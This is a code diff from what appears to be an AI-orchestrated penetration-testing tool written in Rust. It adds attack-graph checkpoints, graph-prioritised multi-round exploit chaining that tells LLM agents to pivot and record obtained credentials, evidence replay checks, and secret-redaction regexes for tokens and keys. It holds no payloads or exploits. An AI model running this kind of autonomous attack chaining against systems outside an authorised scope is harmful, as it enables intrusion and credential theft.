.send(format!("intelligently selected {} agent(s) matching recon: {}", selected.len(), .send(format!("intelligently selected {} agent(s) matching recon: {}", selected.len(),
selected.iter().map(|a| a.name.clone()).collect::<Vec<_>>().join(", "))) selected.iter().map(|a| a.name.clone()).collect::<Vec<_>>().join(", ")))
@@ -1237,6 +1342,7 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
let ops = ops.clone(); let ops = ops.clone();
let shots = shots.clone(); let shots = shots.clone();
let txc = tx.clone(); let txc = tx.clone();
let wd = cfg.workdir.clone();
async move { async move {
if pool.stop_exploiting() { if pool.stop_exploiting() {
return (ag.name.clone(), String::new(), vec![]); return (ag.name.clone(), String::new(), vec![]);
@@ -1303,6 +1409,7 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
let _ = txc.send(format!("finding: [{}] {} @ {}", c.severity, c.title, c.endpoint)).await; let _ = txc.send(format!("finding: [{}] {} @ {}", c.severity, c.title, c.endpoint)).await;
if let Ok(j) = serde_json::to_string(c) { let _ = txc.send(format!("finding_json: {j}")).await; } if let Ok(j) = serde_json::to_string(c) { let _ = txc.send(format!("finding_json: {j}")).await; }
} }
crate::traces::record(wd.as_deref(), &ag.name, &text);
(ag.name.clone(), text, f) (ag.name.clone(), text, f)
} }
Err(e) => { Err(e) => {
@@ -1321,6 +1428,7 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
.collect() .collect()
.await; .await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating by {}-model vote", candidates.len(), cfg.vote_n)).await; let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating by {}-model vote", candidates.len(), cfg.vote_n)).await;
@@ -1331,6 +1439,17 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
// ---- 4. Validate by N-model voting --------------------------------- // ---- 4. Validate by N-model voting ---------------------------------
let mut findings = validate_with_persist(candidates, pool, VOTE_SYS, effective_vote_n(&cfg), &tx, cfg.workdir.as_deref()).await; let mut findings = validate_with_persist(candidates, pool, VOTE_SYS, effective_vote_n(&cfg), &tx, cfg.workdir.as_deref()).await;
// ---- 4b. Authorization matrix: deterministic multi-identity sweep --
let mx = authz_matrix_pass(&cfg, &recon, &tx).await;
if !mx.is_empty() {
let _ = tx.send(format!("🔐 authz-matrix: {} finding(s) from the multi-identity sweep", mx.len())).await;
findings.extend(mx);
findings = dedup_findings(findings);
}
// ---- 4c. Graph checkpoint: validated findings into the graph -------
let _ = graph_checkpoint(&cfg, &recon, &findings, "validated", &[], &tx).await;
// ---- 5. Attack chaining: multi-round post-exploitation pivots ------ // ---- 5. Attack chaining: multi-round post-exploitation pivots ------
let chained = attack_chain(pool, &cfg, &recon, &findings, &lib.chains, &tx).await; let chained = attack_chain(pool, &cfg, &recon, &findings, &lib.chains, &tx).await;
findings.extend(chained); findings.extend(chained);
@@ -1421,6 +1540,7 @@ pub async fn run_whitebox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: S
.collect() .collect()
.await; .await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await; let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await;
@@ -1452,6 +1572,8 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se
Err(e) => { let _ = tx.send(format!("recon failed ({e}) — probe facts only")).await; facts } Err(e) => { let _ = tx.send(format!("recon failed ({e}) — probe facts only")).await; facts }
} }
}; };
// Graph checkpoint: seed the attack graph from recon.
let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await;
// ---- 2. Review the source for leads ------------------------------- // ---- 2. Review the source for leads -------------------------------
let context = collect_repo_context(Path::new(&repo), 200, 90_000); let context = collect_repo_context(Path::new(&repo), 200, 90_000);
@@ -1571,6 +1693,7 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se
.buffer_unordered(cfg.concurrency) .buffer_unordered(cfg.concurrency)
.collect::<Vec<_>>().await; .collect::<Vec<_>>().await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = format!("{}\n{}", code_leads, transcript_of(&raw)); let transcript = format!("{}\n{}", code_leads, transcript_of(&raw));
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await; let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await;
@@ -1593,6 +1716,17 @@ fn finding_key(f: &Finding) -> String {
f.title.to_lowercase().chars().take(40).collect::<String>()) f.title.to_lowercase().chars().take(40).collect::<String>())
} }
/// Order footholds by attack-graph chain value, then severity.
fn sort_frontier(frontier: &mut [Finding], prio: &std::collections::HashMap<String, f64>) {
frontier.sort_by(|a, b| {
let pa = prio.get(&a.id).copied().unwrap_or(0.0);
let pb = prio.get(&b.id).copied().unwrap_or(0.0);
pb.partial_cmp(&pa)
.unwrap_or(std::cmp::Ordering::Equal)
.then(sev_rank(&b.severity).cmp(&sev_rank(&a.severity)))
});
}
fn sev_rank(sev: &str) -> u8 { fn sev_rank(sev: &str) -> u8 {
match sev.to_lowercase().as_str() { match sev.to_lowercase().as_str() {
x if x.starts_with("crit") => 4, x if x.starts_with("crit") => 4,
@@ -1615,6 +1749,106 @@ const CHAIN_SEEDS_PER_ROUND: usize = 6;
/// round's footholds; the loop stops at `chain_depth` rounds or when a round /// round's footholds; the loop stops at `chain_depth` rounds or when a round
/// yields nothing new (loop-until-dry). Findings are validated each round so we /// yields nothing new (loop-until-dry). Findings are validated each round so we
/// never pivot off a false positive. /// never pivot off a false positive.
/// A graph checkpoint — the attack graph as a phase of the test.
///
/// Projects everything known so far (the recon surface, findings, the saved
/// internal-network graph, the project's cross-run memory and, when configured,
/// paths read back from Neo4j), reasons over it, and then:
/// - publishes the live context every agent prompt reads (via
/// `operator_directives`), so the next agents test toward the open paths;
/// - writes `graph/live-chains.md` + `graph/live.json` for the operator;
/// - MERGEs the run's slice into Neo4j.
///
/// Returns the graph-directed agent suggestions and a priority per finding id.
/// What a graph checkpoint hands back to the phase that called it.
struct GraphOutcome {
/// Agents that would complete or extend an open path (name, why).
agents: Vec<(String, String)>,
/// Chain value per finding id, for ordering footholds.
prio: std::collections::HashMap<String, f64>,
/// Dependency-ready steps: (seed finding id, action, chain title).
ready: Vec<(String, String, String)>,
}
async fn graph_checkpoint(
cfg: &RunConfig,
recon: &str,
findings: &[Finding],
phase: &str,
available: &[String],
tx: &Sender<String>,
) -> GraphOutcome {
use crate::graph_memory as gm;
let rid = run_id(cfg);
let scope = effective_scope(cfg);
let in_scope = |u: &str| scope.in_hard_scope(u);
let history = crate::knowledge_graph::KnowledgeGraph::load(proj_store(cfg).join("graph.json"));
let internal: Option<crate::internal::InternalGraph> = cfg
.workdir
.as_deref()
.and_then(|d| std::fs::read_to_string(Path::new(d).join("internal-graph.json")).ok())
.and_then(|t| serde_json::from_str(&t).ok());
let mut gb = gm::build(&cfg.target, &rid, findings, internal.as_ref(), Some(&history));
gm::project_recon(&mut gb, &cfg.target, recon, &in_scope);
let neo = gm::Neo4j::resolve(cfg.neo4j.as_deref());
if let Some(n) = &neo {
match n.fetch_paths(&gb.target_id, 300).await {
Ok(remote) => gb.absorb(remote),
Err(e) => {
let _ = tx.send(format!("🕸 graph [{phase}]: neo4j read skipped ({e})")).await;
}
}
}
let cs = gm::chains(&gb, 8, 30);
let moves = gm::next_moves(&gb, &cs, 10);
let todo = gm::todo(&gb, &cs);
gm::set_live_context(&rid, gm::context_block(&gb, &cs, &moves));
if let Some(d) = cfg.workdir.as_deref() {
let out = Path::new(d).join("graph");
if std::fs::create_dir_all(&out).is_ok() {
let _ = std::fs::write(out.join("live-chains.md"), gm::chains_markdown(&cfg.target, &cs, &moves));
let _ = std::fs::write(out.join("live.json"), gm::export_json(&gb));
let _ = std::fs::write(out.join("todo.md"), gm::todo_markdown(&cfg.target, &todo));
let _ = std::fs::write(out.join("todo.json"), gm::todo_json(&todo));
let _ = std::fs::write(out.join("live-chains.json"), gm::chains_json(&cs, &moves));
}
}
let ready: Vec<(String, String, String)> = gm::ready_steps(&todo)
.into_iter()
.filter_map(|t| t.seed_finding.clone().map(|fid| (fid, t.action.clone(), t.chain.clone())))
.collect();
let mut synced = String::new();
if let Some(n) = &neo {
// Push this run's slice (not the history copy — it was pushed by the
// runs it came from).
let mut pb = gm::build(&cfg.target, &rid, findings, internal.as_ref(), None);
gm::project_recon(&mut pb, &cfg.target, recon, &in_scope);
gm::record_paths(&mut pb, &cs, &rid);
match n.push(&pb, &rid).await {
Ok(_) => synced = " · neo4j synced".into(),
Err(e) => synced = format!(" · neo4j push skipped ({e})"),
}
}
let (h, sv, ep, sec) = gm::surface_counts(&gb);
let confirmed = cs.iter().filter(|c| c.status == gm::Status::Confirmed).count();
let _ = tx
.send(format!(
"🕸 graph [{phase}]: {h} host(s) · {sv} service(s) · {ep} endpoint(s) · {sec} secret fp · {} chain(s) ({confirmed} confirmed) · {} next move(s){synced}",
cs.len(),
moves.len()
))
.await;
if let Some((_, action, chain)) = ready.first() {
let _ = tx.send(format!("🕸 next step ({} ready): {} — {}", ready.len(), chain, action)).await;
} else if let Some(m) = moves.first() {
let _ = tx.send(format!("🕸 next move: {m}")).await;
}
GraphOutcome { agents: gm::directed_agents(&gb, available), prio: gm::seed_priority(&cs), ready }
}
async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str, async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str,
confirmed: &[Finding], chains: &[Agent], tx: &Sender<String>) -> Vec<Finding> { confirmed: &[Finding], chains: &[Agent], tx: &Sender<String>) -> Vec<Finding> {
let max_rounds = cfg.chain_depth; let max_rounds = cfg.chain_depth;
@@ -1624,28 +1858,69 @@ async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str,
let recipes: String = chains.iter().map(|a| format!("- {}", a.title.replace(" Agent", ""))).collect::<Vec<_>>().join("\n"); let recipes: String = chains.iter().map(|a| format!("- {}", a.title.replace(" Agent", ""))).collect::<Vec<_>>().join("\n");
let recipe_block = if recipes.is_empty() { String::new() } else { format!("KNOWN CHAIN RECIPES (apply any that fit):\n{recipes}\n\n") }; let recipe_block = if recipes.is_empty() { String::new() } else { format!("KNOWN CHAIN RECIPES (apply any that fit):\n{recipes}\n\n") };
let recon_ctx: String = recon.chars().take(2000).collect(); let recon_ctx: String = recon.chars().take(2000).collect();
let directives = operator_directives(cfg);
let mut all_new: Vec<Finding> = Vec::new(); let mut all_new: Vec<Finding> = Vec::new();
let mut loot: Vec<String> = Vec::new(); let mut loot: Vec<String> = Vec::new();
let mut round_summaries: Vec<String> = Vec::new(); let mut round_summaries: Vec<String> = Vec::new();
let mut seen: std::collections::HashSet<String> = confirmed.iter().map(finding_key).collect(); let mut seen: std::collections::HashSet<String> = confirmed.iter().map(finding_key).collect();
// Frontier = footholds to expand this round; start with confirmed, best-first. // Frontier = footholds to expand this round; start with confirmed. Order:
// findings on the most valuable attack-graph chains first, then severity.
let mut known: Vec<Finding> = confirmed.to_vec();
let start = graph_checkpoint(cfg, recon, &known, "chain start", &[], tx).await;
let mut prio = start.prio;
let mut ready = start.ready;
// Steps already dispatched — a step the agent could not prove is not
// re-sent every round.
let mut attempted: std::collections::HashSet<String> = std::collections::HashSet::new();
let mut frontier: Vec<Finding> = confirmed.to_vec(); let mut frontier: Vec<Finding> = confirmed.to_vec();
frontier.sort_by_key(|f| std::cmp::Reverse(sev_rank(&f.severity))); sort_frontier(&mut frontier, &prio);
for round in 1..=max_rounds { for round in 1..=max_rounds {
if pool.stop_exploiting() || frontier.is_empty() { // Seeds: dependency-ready steps first (each with its exact step), then
// the freshest footholds by chain value.
let mut seeds: Vec<(Finding, String)> = Vec::new();
let mut used: std::collections::HashSet<String> = std::collections::HashSet::new();
for (fid, action, chain) in &ready {
if seeds.len() >= CHAIN_SEEDS_PER_ROUND {
break;
}
if attempted.contains(action) {
continue;
}
if let Some(f) = known.iter().find(|f| &f.id == fid) {
if used.insert(f.id.clone()) {
attempted.insert(action.clone());
seeds.push((
f.clone(),
format!(
"DEPENDENCY STEP for this foothold (chain `{chain}`): {action}\nDo this step only — the later steps of the chain depend on the fact it yields. Report it as a finding with evidence; put any credential/session obtained in `secret`/`account`; set `chains_from` to [\"{fid}\"].\n\n"
),
));
}
}
}
for f in frontier.iter() {
if seeds.len() >= CHAIN_SEEDS_PER_ROUND {
break;
}
if used.insert(f.id.clone()) {
seeds.push((f.clone(), String::new()));
}
}
if pool.stop_exploiting() || seeds.is_empty() {
break; break;
} }
let seeds: Vec<Finding> = frontier.iter().take(CHAIN_SEEDS_PER_ROUND).cloned().collect(); let stepped = seeds.iter().filter(|(_, h)| !h.is_empty()).count();
let _ = tx.send(format!("⛓ attack-chain round {round}/{max_rounds} — expanding {} foothold(s), {} loot item(s)", seeds.len(), loot.len())).await; let _ = tx.send(format!("⛓ attack-chain round {round}/{max_rounds} — expanding {} foothold(s) ({stepped} dependency step(s)), {} loot item(s)", seeds.len(), loot.len())).await;
let loot_snapshot = loot.clone(); let loot_snapshot = loot.clone();
// Directives re-read every round: they carry the live attack-graph
// context the last checkpoint published.
let round_directives = operator_directives(cfg);
let results: Vec<(Vec<Finding>, Vec<String>)> = stream::iter(seeds) let results: Vec<(Vec<Finding>, Vec<String>)> = stream::iter(seeds)
.map(|seed| { .map(|(seed, step)| {
let (dir, rc, rb, ls, txc) = (directives.clone(), recon_ctx.clone(), recipe_block.clone(), loot_snapshot.clone(), tx.clone()); let (dir, rc, rb, ls, txc) = (round_directives.clone(), recon_ctx.clone(), format!("{recipe_block}{step}"), loot_snapshot.clone(), tx.clone());
async move { chain_from_seed(pool, &cfg.target, &dir, &rc, &rb, &seed, &ls, round, max_rounds, &txc).await } async move { chain_from_seed(pool, &cfg.target, &dir, &rc, &rb, &seed, &ls, round, max_rounds, &txc).await }
}) })
.buffer_unordered(4) .buffer_unordered(4)
@@ -1695,9 +1970,14 @@ async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str,
} }
} }
} }
// Next round expands the freshly-validated footholds, best-first. // Next round expands the freshly-validated footholds, best-first —
// re-reasoning over the graph with what was just proven.
known.extend(validated.iter().cloned());
let next = graph_checkpoint(cfg, recon, &known, &format!("chain round {round}"), &[], tx).await;
prio = next.prio;
ready = next.ready;
frontier = validated; frontier = validated;
frontier.sort_by_key(|f| std::cmp::Reverse(sev_rank(&f.severity))); sort_frontier(&mut frontier, &prio);
} }
if !all_new.is_empty() { if !all_new.is_empty() {
let _ = tx.send(format!("⛓ attack-chaining added {} finding(s) across pivots", all_new.len())).await; let _ = tx.send(format!("⛓ attack-chaining added {} finding(s) across pivots", all_new.len())).await;
@@ -2126,6 +2406,26 @@ fn effective_vote_n(cfg: &RunConfig) -> usize {
} }
} }
/// Bind every finding's evidence to the wire before it is judged (see
/// `crate::wire`). Always on; replay is skipped only in offline mode.
async fn wire_pass(cfg: &RunConfig, mut findings: Vec<Finding>, tx: &Sender<String>) -> Vec<Finding> {
let engine = crate::replay::ReplayEngine::new(effective_scope(cfg));
let flows = crate::wire::load_flows(cfg.workdir.as_deref());
let replay = !cfg.offline;
let mut checks = Vec::new();
for f in findings.iter_mut() {
if let Some(ev) = f.evidence_data.as_mut() {
let wc = crate::wire::verify(ev, &engine, &flows, replay).await;
checks.push(wc.clone());
ev.wire = Some(wc);
}
}
if !checks.is_empty() {
let _ = tx.send(format!("🔌 {}", crate::wire::summary(&checks))).await;
}
findings
}
async fn close_evidence_gaps(cfg: &RunConfig, findings: Vec<Finding>, tx: &Sender<String>) -> Vec<Finding> { async fn close_evidence_gaps(cfg: &RunConfig, findings: Vec<Finding>, tx: &Sender<String>) -> Vec<Finding> {
if std::env::var("NEUROSPLOIT_UNCERTAINTY").unwrap_or_default() == "off" { if std::env::var("NEUROSPLOIT_UNCERTAINTY").unwrap_or_default() == "off" {
return findings; return findings;
@@ -2405,6 +2705,10 @@ async fn finish(cfg: RunConfig, _lib: &Library, pool: &ModelPool, recon: String,
// White-box/skills are symbolic → deterministic belief; grey-box carries source too. // White-box/skills are symbolic → deterministic belief; grey-box carries source too.
let whitebox = matches!(gmode, GroundMode::Symbolic | GroundMode::Either); let whitebox = matches!(gmode, GroundMode::Symbolic | GroundMode::Either);
// Final graph checkpoint (and Neo4j sync when configured). Before the vault
// masks secrets, so equal secrets correlate; only salted fingerprints leave.
let _ = graph_checkpoint(&cfg, &recon, &findings, "final", &[], &tx).await;
// --- Credential vault & test-account cleanup --------------------------- // --- Credential vault & test-account cleanup ---------------------------
// Consolidate every test account created this run (from the agent-appended // Consolidate every test account created this run (from the agent-appended
// vault.jsonl AND any finding that carried a generated `secret`) into a single // vault.jsonl AND any finding that carried a generated `secret`) into a single
@@ -2609,6 +2913,10 @@ async fn finish(cfg: RunConfig, _lib: &Library, pool: &ModelPool, recon: String,
// reason the harness can still fix. A `needs-review` verdict hands a human // reason the harness can still fix. A `needs-review` verdict hands a human
// the same thin evidence and asks them to do the collecting — the wrong // the same thin evidence and asks them to do the collecting — the wrong
// party, since the harness still has the target and the tooling. // party, since the harness still has the target and the tooling.
// Wire binding: every claimed exchange is checked against recorded traffic
// and re-observed by the harness itself before anything is judged, so the
// validators below rule on what the wire showed, not on the agent's account.
findings = wire_pass(&cfg, findings, &tx).await;
findings = close_evidence_gaps(&cfg, findings, &tx).await; findings = close_evidence_gaps(&cfg, findings, &tx).await;
// Deterministic validation. The votes above are models checking models; this // Deterministic validation. The votes above are models checking models; this
@@ -2927,6 +3235,9 @@ async fn finish(cfg: RunConfig, _lib: &Library, pool: &ModelPool, recon: String,
} }
} }
// The run is over: drop its live attack-graph context.
crate::graph_memory::clear_live(&run_id(&cfg));
RunOutput { RunOutput {
target: cfg.target.clone(), target: cfg.target.clone(),
workdir: cfg.workdir.clone().unwrap_or_default(), workdir: cfg.workdir.clone().unwrap_or_default(),
@@ -3145,6 +3456,9 @@ fn persist(cfg: &RunConfig, recon: &str, transcript: &str, findings: &[Finding])
None => bundle, None => bundle,
}; };
put("assurance.json", serde_json::to_string_pretty(&bundle).unwrap_or_default()); put("assurance.json", serde_json::to_string_pretty(&bundle).unwrap_or_default());
// Everything below is read by people: credentials become `$SECRET_n`.
let shown = crate::redact::for_people(findings);
let findings = &shown[..];
put("findings.md", findings_md(&cfg.target, findings)); put("findings.md", findings_md(&cfg.target, findings));
// Compliance mapping, one file per requested framework. Confirmed findings // Compliance mapping, one file per requested framework. Confirmed findings
// only — a lead is not a control gap. // only — a lead is not a control gap.
@@ -3880,6 +4194,8 @@ pub async fn run_container(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx:
Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() } Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() }
} }
}; };
// Graph checkpoint: seed the attack graph from recon.
let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await;
let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default();
let mut ranked: Vec<Agent> = lib.container.clone(); let mut ranked: Vec<Agent> = lib.container.clone();
@@ -3933,6 +4249,7 @@ pub async fn run_container(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx:
.buffer_unordered(cfg.concurrency) .buffer_unordered(cfg.concurrency)
.collect::<Vec<_>>().await; .collect::<Vec<_>>().await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} finding(s) (deduped) - validating", candidates.len())).await; let _ = tx.send(format!("{} finding(s) (deduped) - validating", candidates.len())).await;
@@ -3962,6 +4279,8 @@ pub async fn run_mobile(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sen
Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() } Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() }
} }
}; };
// Graph checkpoint: seed the attack graph from recon.
let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await;
let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default();
let mut ranked: Vec<Agent> = lib.mobile.clone(); let mut ranked: Vec<Agent> = lib.mobile.clone();
@@ -4021,6 +4340,7 @@ pub async fn run_mobile(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sen
.buffer_unordered(cfg.concurrency) .buffer_unordered(cfg.concurrency)
.collect::<Vec<_>>().await; .collect::<Vec<_>>().await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} candidate finding(s) (deduped) - validating", candidates.len())).await; let _ = tx.send(format!("{} candidate finding(s) (deduped) - validating", candidates.len())).await;
@@ -4049,6 +4369,8 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende
Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() } Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() }
} }
}; };
// Graph checkpoint: seed the attack graph from recon.
let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await;
let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default();
let mut ranked: Vec<Agent> = lib.infra.clone(); let mut ranked: Vec<Agent> = lib.infra.clone();
@@ -4114,6 +4436,7 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende
.buffer_unordered(cfg.concurrency) .buffer_unordered(cfg.concurrency)
.collect::<Vec<_>>().await; .collect::<Vec<_>>().await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await; let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await;
@@ -4583,6 +4906,8 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender<
Err(e) => { let _ = tx.send(format!("ai-recon failed ({e}) — probe facts only")).await; facts } Err(e) => { let _ = tx.send(format!("ai-recon failed ({e}) — probe facts only")).await; facts }
} }
}; };
// Graph checkpoint: seed the attack graph from recon.
let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await;
let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default();
if cfg.offline { if cfg.offline {
let _ = tx.send("offline: no AI exploitation performed".into()).await; let _ = tx.send("offline: no AI exploitation performed".into()).await;
@@ -4625,6 +4950,7 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender<
.collect() .collect()
.await; .await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let _ = tx.send(format!("{} AI candidate(s) — validating", candidates.len())).await; let _ = tx.send(format!("{} AI candidate(s) — validating", candidates.len())).await;
@@ -4680,6 +5006,7 @@ pub async fn run_skills_audit(cfg: RunConfig, lib: &Library, pool: &ModelPool, t
.buffer_unordered(cfg.concurrency) .buffer_unordered(cfg.concurrency)
.collect() .collect()
.await; .await;
crate::traces::record_all(cfg.workdir.as_deref(), &raw);
let transcript = transcript_of(&raw); let transcript = transcript_of(&raw);
let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect());
let findings = validate(candidates, pool, CODE_VOTE_SYS, effective_vote_n(&cfg), &tx).await; let findings = validate(candidates, pool, CODE_VOTE_SYS, effective_vote_n(&cfg), &tx).await;
+451
View File
@@ -0,0 +1,451 @@
//! Secret redaction for the human-facing reports.
//!
//! The reports (`report.md`, `.html`, `.json`, `.sarif`, `.typ`/`.pdf`) are the
//! documents that leave the operator's machine. Agents write narrative, and the
//! narrative of a credential finding naturally quotes the credential: "logged in
//! as admin with `password=…` leaked by the SQLi". `findings.json` and the vault
//! keep the raw values for re-testing; everything rendered for people goes
//! through here first.
//!
//! Two passes. `learn` walks every string of every finding (as JSON, so new
//! fields are covered without touching this file) and collects secret values:
//! generated account secrets, credential-named `key=value` / `"key": "value"`
//! pairs, bearer/basic tokens, JWTs, cookie values, cloud keys, and the values
//! of credential-named fields and headers. Each distinct value gets a stable
//! placeholder (`$SECRET_1`, …) so a reproduction step stays readable and
//! pasteable once the reader exports the variable. `text` then replaces the
//! learned values wherever they appear — including free prose — and redacts any
//! remaining pattern match it did not learn.
//!
//! A learned value is replaced in free prose only when it looks like a secret
//! (6+ characters mixing character classes); a short or dictionary-like value
//! (`admin`, `authenticated`) is redacted only where it sits in a credential
//! context, so a username or an ordinary word is never wiped from the report.
use std::collections::BTreeMap;
use std::sync::OnceLock;
use regex::Regex;
use crate::types::Finding;
const PLACEHOLDER: &str = "$SECRET";
/// Field and header names whose values are credentials.
fn credential_key(k: &str) -> bool {
let k = k.to_ascii_lowercase().replace('-', "_");
const EXACT: &[&str] = &["secret", "authorization", "proxy_authorization", "cookie", "set_cookie", "pwd", "pass", "passwd", "sid"];
const PART: &[&str] = &["password", "passphrase", "token", "api_key", "apikey", "client_secret", "secret_key", "private_key", "sessionid", "session_id", "jsessionid", "phpsessid", "x_api_key", "x_auth"];
EXACT.contains(&k.as_str()) || PART.iter().any(|p| k.contains(p))
}
/// Fields that are identifiers or paths, never prose with credentials.
const SKIP_FIELDS: &[&str] = &["id", "agent", "severity", "cwe", "cvss", "owasp", "mitre", "stage", "chains_from", "screenshots", "review_status", "account"];
fn kv_re() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
R.get_or_init(|| {
Regex::new(r#"(?i)\b((?:[a-z0-9_\-]*(?:password|passwd|passphrase|token|api[_\-]?key|client[_\-]?secret|secret[_\-]?key|sessionid|session_id|jsessionid|phpsessid))|pwd|pass|secret|sid)(\\?["']?\s*[:=]\s*\\?["']?)([^\s"'\\&,;}<>)\]]{3,})"#)
.expect("kv regex")
})
}
fn token_res() -> &'static [Regex] {
static R: OnceLock<Vec<Regex>> = OnceLock::new();
R.get_or_init(|| {
[
r"(?i)\bbearer\s+([A-Za-z0-9\-._~+/]{8,}=*)",
r"(?i)\bbasic\s+([A-Za-z0-9+/]{8,}=*)",
r"\b(eyJ[A-Za-z0-9_\-]{5,}\.[A-Za-z0-9_\-]{5,}\.[A-Za-z0-9_\-]*)",
r"\b((?:AKIA|ASIA)[0-9A-Z]{16})\b",
r"\b(gh[pousr]_[A-Za-z0-9]{30,})\b",
r"\b(xox[abpr]-[A-Za-z0-9\-]{10,})\b",
r"(?s)(-----BEGIN [A-Z ]*PRIVATE KEY-----.*?-----END [A-Z ]*PRIVATE KEY-----)",
]
.iter()
.map(|p| Regex::new(p).expect("token regex"))
.collect()
})
}
/// "…plaintext password for every account (admin: X / Y; alice: Z)": a
/// parenthesised list of `user: value` pairs in a sentence about credentials.
fn listed_re() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
R.get_or_init(|| Regex::new(r"(?i)(?:password|passwd|credential|api ?key)[^.\n]{0,160}?\(([^()]{3,240})\)").expect("listed regex"))
}
fn listed_pair_re() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
R.get_or_init(|| Regex::new(r"([A-Za-z0-9_.@\-]{2,40}):\s*([^\s;,/()]{4,})(?:\s*/\s*([^\s;,/()]{4,}))?").expect("listed pair regex"))
}
fn cookie_re() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
R.get_or_init(|| Regex::new(r"(?im)^\s*(?:set-)?cookie\s*:\s*(.+)$").expect("cookie regex"))
}
fn cookie_pair_re() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
